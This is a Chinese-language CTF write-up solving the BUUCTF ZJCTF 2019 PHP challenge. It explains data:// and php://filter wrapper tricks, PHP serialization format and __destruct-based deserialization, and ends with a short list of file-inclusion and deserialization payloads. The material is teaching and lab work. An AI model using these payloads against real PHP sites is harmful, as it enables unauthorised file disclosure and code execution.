CTF新手避坑指南:BUUCTF那道ZJCTF 2019 PHP题,我卡在了反序列化上
·
CTF新手避坑指南:从BUUCTF那道ZJCTF 2019 PHP题看反序列化实战
第一次看到这道题时,我盯着屏幕上的PHP代码足足发了十分钟呆。作为刚接触CTF的新手,反序列化这个词听起来就像魔法咒语一样神秘。直到亲手调试了三次payload才真正理解其中的门道,现在把踩坑经验分享给同样卡在这个环节的朋友们。
1. 题目环境与初步侦查
拿到题目首先看到的是以下PHP代码片段(简化版):
<?php
$text = $_GET["text"];
if(isset($text)&&!empty($text)){
if(file_get_contents($text,'r')==="welcome to the zjctf"){
// 第一层通过
}
}
$file = $_GET["file"];
if(preg_match("/flag/", $file)){
exit("Not now!");
} else {
include($file); // 第二层关键点
}
class Flag{
public $file;
function __destruct(){
include($this->file);
}
}
$password = unserialize($_GET['password']); // 第三层突破口
?>
关键侦查点 :
- 三个输入参数:
text、file、password - 存在文件包含漏洞和反序列化入口
- 正则过滤了
flag关键词但提示了useless.php
新手最容易忽略的是代码中的 __destruct() 魔术方法,它在对象销毁时自动执行。这道题的精妙之处就在于通过反序列化触发这个包含漏洞。
2. 突破三层防御的实战路径
2.1 第一层:协议利用的艺术
text 参数需要满足:
- 非空
- 通过
file_get_contents()读取内容为指定字符串
典型错误尝试 :
?text=welcome to the zjctf // 直接传字符串无效
?text=./data.txt // 需要服务器上有这个文件
正确解法 : 使用 data:// 伪协议直接嵌入内容:
?text=data://text/plain,welcome to the zjctf
进阶技巧:当遇到特殊字符过滤时,可以base64编码:
echo "welcome to the zjctf" | base64
# 得到:d2VsY29tZSB0byB0aGUgempjdGY=
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2.2 第二层:绕过过滤读取源码
file 参数存在两个陷阱:
- 正则过滤
flag关键词 - 需要包含
useless.php获取线索
错误示范 :
?file=flag.php // 直接触发过滤
?file=./useless.php // 可能路径不对
正确操作 : 使用 php://filter 读取源码(避免直接执行):
?file=php://filter/read=convert.base64-encode/resource=useless.php
得到的base64解码后可见关键代码:
class Flag{
public $file = "flag.php"; // 重要线索!
}
2.3 第三层:反序列化Payload构造
这是最让新手困惑的部分。我们需要:
- 理解现有
Flag类结构 - 构造序列化字符串
- 通过
password参数传递
手工构造步骤 :
- 创建对象实例:
$obj = new Flag();
$obj->file = "flag.php";
- 序列化对象:
echo serialize($obj);
// 输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- URL编码后传递:
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
3. 反序列化漏洞深度解析
3.1 PHP序列化格式详解
一个标准的序列化字符串结构:
O:<类名长度>:"<类名>":<属性数量>:{<属性类型>:<属性名长度>:"<属性名>";<属性值>}
以本题为例:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
各部分含义:
O:对象类型4:类名Flag的字符长度1:对象有1个属性s:4:"file":字符串类型,4字节长度,属性名为files:8:"flag.php":属性值类型为字符串,8字节长度
3.2 魔术方法的致命诱惑
PHP中这些方法会在特定时机自动触发:
| 方法名 | 触发时机 | 常见危险操作 |
|---|---|---|
| __construct | 对象创建时 | 初始化敏感资源 |
| __destruct | 对象销毁时 | 文件操作、命令执行 |
| __wakeup | 反序列化完成后 | 重置对象权限 |
| __toString | 对象被当作字符串使用时 | XSS、代码注入 |
本题利用 __destruct 在对象生命周期结束时自动包含文件的特点,实现了漏洞触发。
3.3 防御方案对比
| 方案 | 优点 | 缺点 |
|---|---|---|
| 禁用unserialize() | 彻底杜绝反序列化 | 影响正常业务功能 |
| 签名验证 | 防止数据篡改 | 实现复杂 |
| 限制反序列化类 | 白名单控制风险 | 需要维护类列表 |
| 使用json_encode() | 更安全的序列化格式 | 不保留对象类型信息 |
4. CTF解题的思维训练
4.1 代码审计四步法
- 找输入点 - 定位所有
$_GET、$_POST等用户输入 - 跟数据流 - 追踪参数如何被处理和使用
- 查危险函数 - 重点关注:
- 文件操作:
include、file_get_contents - 命令执行:
exec、system - 反序列化:
unserialize
- 文件操作:
- 挖隐藏线索 - 注释、无用文件、报错信息
4.2 有效利用开发工具
- PHP在线沙箱:快速测试代码片段
// 测试序列化 class Test{ public $var = 'value'; } echo serialize(new Test()); - Postman:方便构造复杂请求
- Burp Suite:拦截修改HTTP请求
4.3 常见Payload集合
文件包含 :
php://filter/read=convert.base64-encode/resource=index.php
反序列化 :
// 基本结构
class Exploit {
public $dangerous = 'system("id")';
}
echo urlencode(serialize(new Exploit()));
特殊协议 :
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
记得第一次成功拿到flag时,我在本地搭建了同样的环境反复测试。理解每个参数如何影响程序执行流程,比单纯记住payload更重要——毕竟CTF比赛的乐趣就在于那个"啊哈!"的顿悟瞬间。
更多推荐

所有评论(0)